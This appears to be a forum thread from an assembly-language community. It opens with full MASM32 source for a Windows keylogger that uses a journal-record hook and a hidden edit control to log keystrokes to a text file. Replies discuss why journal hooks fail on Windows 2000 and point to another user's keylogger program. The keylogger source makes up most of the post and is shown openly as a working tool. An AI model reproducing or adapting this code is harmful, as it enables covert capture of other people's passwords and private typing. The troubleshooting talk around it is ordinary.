ASM Community

ok... this is a very uncommon keylogger i think, i
use a dummy-edit-box instaed a windowproc...
just a test... but don't working in w2k...

.486

.MODEL                  FLAT, STDCALL

OPTION                  CASEMAP: NONE



INCLUDE                 \MASM32\INCLUDE\WINDOWS.INC

INCLUDE                 \MASM32\INCLUDE\USER32.INC

INCLUDE                 \MASM32\INCLUDE\KERNEL32.INC

INCLUDELIB              \MASM32\LIB\USER32.LIB

INCLUDELIB              \MASM32\LIB\KERNEL32.LIB



HOOKPROC                PROTO :DWORD,:DWORD,:DWORD



.DATA

CLASSNAME               DB "EDIT", 0

STOPFLAG                DB 1

FILENAME                DB "TEST.TXT", 0

COUNT                   DB 0



.DATA?

HHANDLE                 DD ?

FILEHANDLE              DD ?

BUFFER                  DW ?

__HWND                  DD ?

__MSG                   MSG < ? >



.CODE

START:  INVOKE          CreateWindowEx, NULL, ADDR CLASSNAME, NULL,

                        0, 0, 0, 0, 0, NULL, NULL, NULL, NULL                        

        MOV             __HWND, EAX                

        INVOKE          _lcreat, ADDR FILENAME,0

        MOV             FILEHANDLE, EAX         

        INVOKE          SetWindowsHookEx, WH_JOURNALRECORD,ADDR HOOKPROC,NULL,NULL    

        MOV             HHANDLE, EAX           

_START: INVOKE          GetMessage,addr __MSG,NULL,0,0

        INVOKE          DispatchMessage,addr __MSG

        JMP             _START



HOOKPROC                PROC _NCODE:DWORD, _WPARAM:DWORD, _LPARAM:DWORD

                        LOCAL _MSG: MSG

        CMP             _NCODE, HC_ACTION

        JNZ             _MOD_0                                

        OR              STOPFLAG, 0

        JZ              _EXIT        

        MOV             EAX,_LPARAM

        CMP             DWORD PTR [ EAX ], WM_KEYDOWN

        JNZ             _EXIT                

        MOV             _MSG.message,WM_KEYDOWN   

        PUSH            [ EAX + 4 ]

        POP             _MSG.wParam

        PUSH            [ EAX + 8 ]

        POP             _MSG.lParam        

        PUSH            __HWND

        POP             _MSG.hwnd

        INVOKE          TranslateMessage,addr _MSG        

        INVOKE          SendMessage,__HWND,WM_GETTEXT,2,addr BUFFER

        OR              byte ptr [ BUFFER ], 0

        JZ              _ZERO

        invoke          _lwrite,FILEHANDLE,ADDR BUFFER,1

_ZERO:  INVOKE          SendMessage,__HWND,EM_SETSEL,0,-1

        INVOKE          SendMessage,__HWND,WM_CLEAR,0,0    

        JMP             _EXIT        

_MOD_0: CMP             _NCODE, HC_SYSMODALOFF

        JNZ             _MOD_1

        MOV             STOPFLAG, 0

        JMP             _EXIT        

_MOD_1: CMP             _NCODE, HC_SYSMODALOFF

        JNZ             _NOPE

        MOV             STOPFLAG, 1

        JMP             _EXIT

_NOPE:  OR              _NCODE, 0

        JNZ             _EXIT

        INVOKE          CallNextHookEx, HHANDLE, _NCODE, _WPARAM, _LPARAM

        RET

_EXIT:  XOR             EAX, EAX

        RET

HOOKPROC                ENDP

END                     START

thank you...

codelover... i downloaded your prog... it's a
keylogger... i can write one for myself (and i did...)
my question was not "how can i write a keylogger"
it was like "why the f**k do i have trouble with
journal-hooks in 2k" :)

btw... i overlooked your source... do ?ou really retrieve
keyboard-input via "GetWindowText" ??? i mean you're
using a journalrec hook to retrieve hardware keyb-input
and you're only checking for WM_KEYDOWN to get keyb
data via "GetWindowsText" ??? hm crazy ;) uhm and did
you try it under 2k??

oh maybe it's because i didn't asign the hinstance
api ref says:



but according to this text my code should be right... or not?
damn! will try it out, thank you

NOP-erator,
My answer here



mob, test the keylogger in Win2k, if it works it means that you could see why yours does not work. If the keylogger works, it means that there are not problems with the hooks, and you can study the code and see what it has that your code doesn't have. Is that so difficult? Which language am i writing in?

nop,
My reply there too.
No, nop, i didn't test it, that's why i told him to test it.